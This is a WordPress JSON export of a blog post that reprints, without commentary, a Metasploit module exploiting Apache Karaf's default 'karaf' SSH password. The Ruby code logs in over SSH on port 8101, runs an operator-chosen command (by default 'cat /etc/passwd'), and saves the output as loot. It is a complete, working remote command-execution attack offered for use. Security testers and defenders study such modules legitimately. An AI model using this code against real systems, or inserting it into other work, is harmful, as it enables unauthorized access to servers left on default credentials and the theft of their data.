{"id":59364,"date":"2024-09-01T21:29:45","date_gmt":"2024-09-01T18:29:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181225\/apache_karaf_command_execution.rb.txt"},"modified":"2024-09-01T21:29:45","modified_gmt":"2024-09-01T18:29:45","slug":"apache-karaf-default-credentials-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-karaf-default-credentials-command-execution\/","title":{"rendered":"Apache Karaf Default Credentials Command Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;net\/ssh&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::SSH<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8220;Apache Karaf Default Credentials Command Execution&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.<br \/>The &#8216;karaf&#8217; user has a known default password, which can be used to login to the<br \/>SSH service, and execute operating system commands from remote.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Nicholas Starke &lt;nick@alephvoid.com&gt;&#8217;<br \/>],<br \/>&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2016-02-09&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8101),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Username&#8217;, &#8216;karaf&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password&#8217;, &#8216;karaf&#8217;]),<br \/>OptString.new(&#8216;CMD&#8217;, [true, &#8216;Command to Run&#8217;, &#8216;cat \/etc\/passwd&#8217;])<br \/>], self.class<br \/>)<\/p>\n<p>register_advanced_options(<br \/>[<br \/>Opt::Proxies,<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;, [ false, &#8216;Enable SSH debugging output (Extreme verbosity!)&#8217;, false]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;, [ false, &#8216;Specify the maximum time to negotiate a SSH session&#8217;, 30])<br \/>])<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>def username<br \/>datastore[&#8216;USERNAME&#8217;]end<\/p>\n<p>def password<br \/>datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>def cmd<br \/>datastore[&#8216;CMD&#8217;]end<\/p>\n<p>def do_login(user, pass, ip)<br \/>opts = ssh_client_defaults.merge({<br \/>:auth_methods =&gt; [&#8216;password&#8217;],<br \/>:port =&gt; rport,<br \/>:password =&gt; pass,<br \/>})<\/p>\n<p>opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>begin<br \/>ssh = ::Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(ip, user, opts)<br \/>end<br \/>if ssh<br \/>print_good(&#8220;#{ip}:#{rport} &#8211; Login Successful (&#8216;#{user}:#{pass})'&#8221;)<br \/>else<br \/>print_error &#8220;#{ip}:#{rport} &#8211; Unknown error&#8221;<br \/>end<br \/>rescue OpenSSL::Cipher::CipherError =&gt; e<br \/>print_error(&#8220;#{ip}:#{rport} SSH &#8211; Unable to connect to this Apache Karaf (#{e.message})&#8221;)<br \/>return<br \/>rescue Rex::ConnectionError<br \/>return<br \/>rescue Net::SSH::Disconnect, ::EOFError<br \/>print_error &#8220;#{ip}:#{rport} SSH &#8211; Disconnected during negotiation&#8221;<br \/>return<br \/>rescue ::Timeout::Error<br \/>print_error &#8220;#{ip}:#{rport} SSH &#8211; Timed out during negotiation&#8221;<br \/>return<br \/>rescue Net::SSH::AuthenticationFailed<br \/>print_error &#8220;#{ip}:#{rport} SSH &#8211; Failed authentication&#8221;<br \/>rescue Net::SSH::Exception =&gt; e<br \/>print_error &#8220;#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}&#8221;<br \/>return<br \/>end<\/p>\n<p>ssh<br \/>end<\/p>\n<p>def run_host(ip)<br \/>print_status(&#8220;#{ip}:#{rport} &#8211; Attempt to login&#8230;&#8221;)<br \/>ssh = do_login(username, password, ip)<br \/>if ssh<br \/>output = ssh.exec!(&#8220;#{cmd}\\n&#8221;).to_s<br \/>if output<br \/>print_good(&#8220;#{ip}:#{rport} &#8211; Command successfully executed. Output: #{output}&#8221;)<br \/>store_loot(&#8220;apache.karaf.command&#8221;,<br \/>&#8220;text\/plain&#8221;,<br \/>ip,<br \/>output)<br \/>vprint_status(&#8220;#{ip}:#{rport} &#8211; Loot stored at: apache.karaf.command&#8221;)<br \/>else<br \/>print_error &#8220;#{ip}:#{rport} &#8211; Command failed to execute&#8221;<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;net\/ssh&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::SSH def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8220;Apache Karaf Default Credentials Command Execution&#8221;,&#8216;Description&#8217; =&gt; %q{This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.The &#8216;karaf&#8217; user has a known default password, which can be used to login to theSSH &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59364","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59364","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59364"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59364\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}